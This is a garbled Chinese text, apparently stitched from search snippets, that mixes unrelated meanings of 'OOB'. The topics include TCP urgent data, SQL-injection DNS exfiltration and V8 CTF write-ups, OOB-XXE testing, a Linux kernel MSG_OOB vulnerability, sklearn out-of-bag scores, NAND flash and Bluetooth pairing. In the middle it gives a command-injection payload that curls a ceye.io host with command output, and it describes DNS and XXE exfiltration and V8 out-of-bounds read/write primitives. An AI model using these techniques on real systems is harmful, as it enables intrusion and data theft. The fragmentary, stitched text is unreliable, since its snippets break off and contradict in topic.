然后就没有然后了…… 毕业这么多年了,回想一下,还真是没有接触过 OOB 的场景,更没有实地发送、接收过 OOB。那么到底该怎样处理 OOB 呢?OOB 在所谓的紧急情况下是否有用呢?下面一一道来。 发送 OOB 首先产生 OOB 是非常简单的,只需要在寻常 send 的最后一个参数,加入 MSG_OOB 标志位: ret = send (sockfd, ptr, n, MSG_OOB); 如果考虑一个完整的测试场景 需要注意的是,目前只有 TCP 支持 OOB,UDP 没所谓顺序,更没所谓带内带外之分,所以也没有 OOB;另外 TCP 目前大多数实现只支持 1 字节 OOB,大于 1 字节的 OOB,只有最后一字节会被当为 接收 OOB 接收 OOB 共有三种方法。 1. 使用 SO_OOBINLINE 标志位将 OOB 作为惯常数据处理 这种方法是将 OOB 数据当作惯常数据接收,在接收前通过判断哪些是普通数据哪些是 OOB 数据,具体步骤如下: a) 新连接建立时,设置套接字选项
这样payload.com的域名解析请求将由nameserver.com完成,同时将nameserver.com指向你的反连平台1.1.1.1
在问号前加一个.即可
故此我们可以写一个脚本,爆破出当前目录下所有文件的内容
而这道题也用了这样的方法破解成功
SQL注入盲打
—OOB利用DNS偷走数据
也算是一点奇淫技巧,这种题目并不是很常见,我也是第一在 乍一听可能比较难以理解,话不多说,我们直接从题目中学习:
实战演练
题目来自10月份的XCTF联赛中的HCTF,题目的破解正是应用了OOB(out of band),利用dns偷走数据
1.1 题目描述 you get}
";
error_reporting(E_ALL^E_NOTICE^E_WARNING);
try {
$conn = new PDO( "sqlsr","oob >
可以知道三个关键点:
第一点:
try {
$conn = new PDO( "sqlsr","oob", "");
}
使用了PDO,且提示了oob,其中PDO是可以堆叠执行sql的,oob server的查询中查询mysql,可以用如下方法:
SELECT *
FROM OPENQUERY(Servername,'select * from DBName.tablename')
然后我们研究oob
OOB SQL注入类型细分,分为以下5种: 共计3大类: 这篇文章的主题是out of band,即OOB。 它与我们熟知的inband类的注入相反。 17,720.51 Error-based 777 9.02 Union (full/partial) 3/136 0.70/2.50 DNS exfiltration 1,409 35.31 数据来源 我们的主角OOB 当你遇到了某些很隐蔽的注入点,inband类注入没办法用,inference类注入被你嫌弃太慢的时候,OOB就是你最好的选择了。 结语 实际上OOB的方法很多,但是大部分都是实战意义不高的技术。比如利用icmp和电子邮件或者http头来偷数据。如果有人有兴趣,我会全部写一遍的。
SatrCtf2019-oob 数组对象的结构 这里简单讲解一下做这一题需要的前置知识。 首先我们需要了解v8中的对象的结构,以一个Float数组Float_Array为例来讲解。 diff文件分析 有了以上的知识,我们就可以开始看我们的题目了,题目给了一个名叫oob.diff的文件,打开文件发现前面有一个名为SimpleInstallFunction的东西,结合网上对于JavaScript API的资料可以分析出题目是自己实现了一个名为oob的函数,实现的具体细节在22-42行: +BUILTIN(ArrayOob){ + uint32_t len = args.length(); /test.js,然后run就行了: 可以看见我们图中的泄露出来的Map值是完全没有问题的,这里讲一下这部分的核心,也就是: var obj_hidden = obj_array.oob(); var Fixed Array的下一个内存单元,存放的是Map,也就是说通过xxx.oob(),就可以泄露出相应的Map。
2.带外攻击(OOB) 服务器用来测试盲的各种漏洞的话,则需要我们外部的独立服务器参数,也就是带入了外部的服务器,我们叫它带外攻击。这里简单的提了一下这个带内和带外,我们只要理解其过程即可。 3.带外数据 传输层协议使用带外数据(out-of-band,OOB)来发送一些重要的数据,如果通信一方有重要的数据需要通知对方时,协议能够将这些数据快速地发送到对方。 OOB.jpg基本回显思路1.对于出网机器 使用http传输,如wget,curl,certutil将回显信息爬出 1.1 优点:方便,回显全。 cmd=curl http://XXXXXX.ceye.io/`ls -al |cut -c 3-10`4.burpsuit Collaborator Client模块回显(带外攻击OOB)打开 collaborator
几个星期以前,作者在某个OOB-XXE漏洞测试中遇到过这样一种场景:目标应用后端系统WAF防火墙阻挡了包含DNS解析在内的所有出站请求(Outgoing Request),但最终,通过利用php://filter //的封装协议,作者成功实现了OOB-XXE漏洞测试。
作者:Hcamael@知道创宇404实验室 相关阅读: 从 0 开始学 V8 漏洞利用之环境搭建(一) 从 0 开始学 V8 漏洞利用之 V8 通用利用链(二) 我是从starctf 2019的一道叫OOB /starctf2019/pwn-OOB/oob.diff $ gclient sync -D $ gn gen out/x64_startctf.release --args='v8_monolithic /starctf2019/pwn-OOB/oob.diff,就能使用build.sh 6dc88c191f5ecc5389dc26efa3ca0907faef3598 starctf2019一键编译。 漏洞点 源码我就不分析了,因为这题是人为造洞,在obb.diff中,给变量添加了一个oob函数,这个函数可以越界读写64bit。 浮点型数组的结构之前的文章说了,在value之后就是该变量的结构内存区域,所以使用a.oob()可以越界读64bit,就可以读写该变量的map地址,并且在该版本中,地址并没有被压缩,是64bit。
就在前几天,Zero Day Initiative曾发布过六份关于苹果macOS中安全漏洞的公告,其中有一条公告涵盖了一个由 ABC Research s.r.o报告的安全漏洞,这个漏洞是苹果硬件GPU的设计缺陷,这也是他们所提交的众多macOS漏洞的其中一个。现在,这些漏洞已经在Big Sur中被修复了,因此在这篇文章中,我们将详细介绍关于漏洞ZDI-20-1403/CVE-2020-27897的细节信息,而这个漏洞将有可能允许攻击者实现提权并在内核上下文场景中执行任意代码。
OOB 本小节来介绍更多和 Bagging 相关的内容,首先对于 Bagging 这种集成学习来说,有一个非常重要的概念叫做 OOB(Out-of-Bag)。 这 37% 的样本通常被称为 OOB(Out-of-Bag)。 此时为 True,即采用有放回 Bagging 的方式; oob_score:是否使用 OOB,默认为 False,不使用 OOB。 此时为 True,即使用 OOB; 在 sklearn 中使用 OOB,除了需要使用 Bagging 集成学习的方式(boostrap = True)之外,还需要在实例化集成学习时指定 oob_score bagging_clf.oob_score_ # 0.918 Bagging 的并行化处理 Bagging 这种集成学习的方式是极易进行并行化处理的。
从Chrome渲染器代码执行到内核:MSG_OOB漏洞分析引言2025年6月初,我在审查Linux内核新功能时了解到面向流的UNIX域套接字支持的MSG_OOB特性。 );recv(socks[0], &dummy, 1, MSG_OOB);send(socks[1], "A", 1, MSG_OOB);recv(socks[0], &dummy, 1, MSG_OOB MSG_OOB特性2021年通过commit 314001f0bf92("af_unix: Add OOB support",在Linux 5.15中落地)添加了对AF_UNIX流套接字使用MSG_OOB 漏洞的根本原因是:当接收队列包含由recv(..., MSG_OOB)留下的剩余长度0 SKB时,manage_oob()会删除剩余长度为0的SKB并跳转到后续SKB,但没有经过skb == u->oob_skb 初始利用原语该漏洞产生一个悬空的->msg_oob指针。使用此悬空指针的唯一方式是通过带有MSG_OOB的recv()系统调用,该调用在unix_stream_recv_urg()中实现。
OOB 本小节来介绍更多和 Bagging 相关的内容,首先对于 Bagging 这种集成学习来说,有一个非常重要的概念叫做 OOB(Out-of-Bag)。 这 37% 的样本通常被称为 OOB(Out-of-Bag)。 使用sklearn实现OOB 使用 sklearn 实现 Bagging 集成学习,可以通过 oob_score_ 属性来查看使用 Out-of-Bag 样本作为测试集计算得到的结果。 此时为 True,即采用有放回 Bagging 的方式; oob_score:是否使用 OOB,默认为 False,不使用 OOB。 此时为 True,即使用 OOB; 在 sklearn 中使用 OOB,除了需要使用 Bagging 集成学习的方式(boostrap = True)之外,还需要在实例化集成学习时指定 oob_score
今天,我要和大家分享的是,我在某个邀请漏洞测试项目中,发现Bind OOB XXE漏洞的方法。由于涉及隐私,以下文章中涉及网站域名的部分我已作了编辑隐藏,敬请见谅。 xxe-ftp-server.rb脚本应用 由于该系统使用了java框架,而俄罗斯OnSec实验室曾针对Java程序的XXE-OOB攻击作出了相关研究,并给出相应的payload,以及一个通过ftp服务读取系统目录的漏洞利用脚本 xxe-ftp-server.rb,运行该脚本后,8088端口作为http服务端负责获取OOB攻击payload,而8077端口用于ftp连接服务,最终能成功读取到目标系统目录: ?
rval = nand->write_oob(nand, offset, &ops); //调用nand_write_oob()函数烧写OOB if (! 将上面的MTD_OOB_AUTO改为MTD_OOB_RAW (表示支持烧写OOB数据,用来存放yaffs参数) 因为MTD_OOB_AUTO,使自动填入OOB,不填入yaffs文件里的数据,从而启动不了内核 rval) 改为if (rval) 因为nand->write_oob()函数里面,烧写正确时,是返回的一个非整数. 然后使用nand dump 260000,与yaffs文件对比,可以看到OOB已经烧写成功 ? oob数据,若是yaffs文件,则会存放yaffs参数,所以才要修改1.2小节的代码 bit40~63:存放ecc校验值,该页的每256B字节,就会生成3字节数据存放到ecc里 具体参考nand_oob
sklearn中的RandomForestClassifier有一个参数: oob_score : bool (default=False) Whether to use out-of-bag samples 中文叫‘袋外误差’,可以看出这个参数的意思是:使用oob来衡量test error. 关于oob的解释,stackoverflow上有比较全面的解释:OOB的解释 说下自己的理解: RF需要从原始的特征集中随机sampling,然后去分裂生成单颗树. 意思就是,oob是test error的一个无偏估计. 参考 stackoverflow上OOB的解释 sklearn上OOB的解释
ops.mode = MTD_OOB_AUTO; //这里需要修改 ... ... rval = nand->write_oob(nand, offset, &ops); //调用nand_write_oob()函数烧写OOB if (! MTD_OOB_AUTO改为MTD_OOB_RAW (表示支持烧写OOB数据,用来存放yaffs参数) 因为MTD_OOB_AUTO,使自动填入OOB,不填入yaffs文件里的数据,从而启动不了内核 3 rval) 改为if (rval) 因为nand->write_oob()函数里面,烧写正确时,是返回的一个非整数. 1.3然后使用nand dump 260000,与yaffs文件对比,可以看到OOB 对于64B的OOB而言,数据定义如下所示: bit0:表示该块的数据是否为坏,若为0xFF表示好的,0x00则是坏的 (一块=64页) bit1:暂时没用到 bit2~39:表示用来存放oob数据,若是
kmalloc_oob_right+0xb4/0xdb [test_kasan] [18319.276103] [<ffffffffc03780b4>] kmalloc_oob_right+0xb4 (); kmalloc_node_oob_right(); #ifdef CONFIG_SLUB kmalloc_pagealloc_oob_right(); #endif kmalloc_large_oob_right(); kmalloc_oob_krealloc_more(); kmalloc_oob_krealloc_less (); kmalloc_oob_16(); kmalloc_oob_in_memset(); kmalloc_oob_memset_2(); kmalloc_oob_memset_4(); kmalloc_oob_memset_8(); kmalloc_oob_memset_16(); kmalloc_uaf
0x00表示不支持OOB,0x01表示支持OOB • AuthReq:鉴权请求 表示设备是否需要绑定,是否需要支持防止中间人攻击,是否支持安全配对等 • BF字段是binding flag的缩写 • Out Of Band (OOB) OOB方式是通过外部的其他方式来进行鉴权,例如通过NFC,二维码或者WIFI之类的来鉴权。 模式 双方都支持获取到对方的OOB信息后,才可以使用OOB模式 至少有一方获取到对方的OOB信息后,就可以使用OOB模式 传统配对方式中主要生成TK和STK:Temporary Key (TK):一个 鉴权模式选择 鉴权模式的选择就是根据配对阶段一中设备双方交换了各自的配对信息来决定的,优先级为OOB > MITM > IO能力 如果支持OOB则使用OOB模式,否则会检查MITM标志位,看是否需要防止中间人攻击 如下图: 通过上面两图的差异,也可以看出传统配对是双方都支持OOB才可以使用OOB模式,安全配对模式则是只要其中的一方支持OOB,就可以使用OOB模式。
以K9F1208为例,每个Page页包含512字节的数据区和16字节的OOB区。 前256字节数据生成3字节ECC校验码,后256字节数据生成3字节ECC校验码,共6字节ECC校验码存放在OOB区中,存放的位置为OOB区的第0、1、2和3、6、7字节。 ECC纠错算法 当往NAND Flash的page中写入数据的时候,每256字节我们生成一个ECC校验和,称之为原ECC校验和,保存到PAGE的OOB(out-of-band)数据区中。 将从OOB区中读出的原ECC校验和新ECC校验和按位异或,若结果为0,则表示不存在错(或是出现了 ECC无法检测的错误);若3个字节异或结果中存在11个比特位为1,表示存在一个比特错误,且可纠正;若3个字节异或结果中只存在 1个比特位为1,表示 OOB区出错;其他情况均表示出现了无法纠正的错误。
legacy pairing的认证方式有:Just_Work, Passkey Entry, OOB这三种方式。 配对流程分析: 1. 双方协商TK值 • Just Work 模式TK值默认为0, • Passkey Entry模式TK值即为输入的数值, • OOB模式TK值即为OOB交互的数值。 3. STK的计算公式如下: STK = s1(TK, LP_RAND_R, LP_RAND_I) 下面分别是Just Works, passkey entry 和 OOB模式的配对流程图 Just Works 配对流程图, TK设置为0 passkey entry 配对流程图,TK为输入的pin code值 OOB配对流程图,TK为外部OOB数值 由上面三个流程图可以看出,上面三个流程最大的区别就是TK 模式的ra值和rb值为外部OOB传输的数值 3.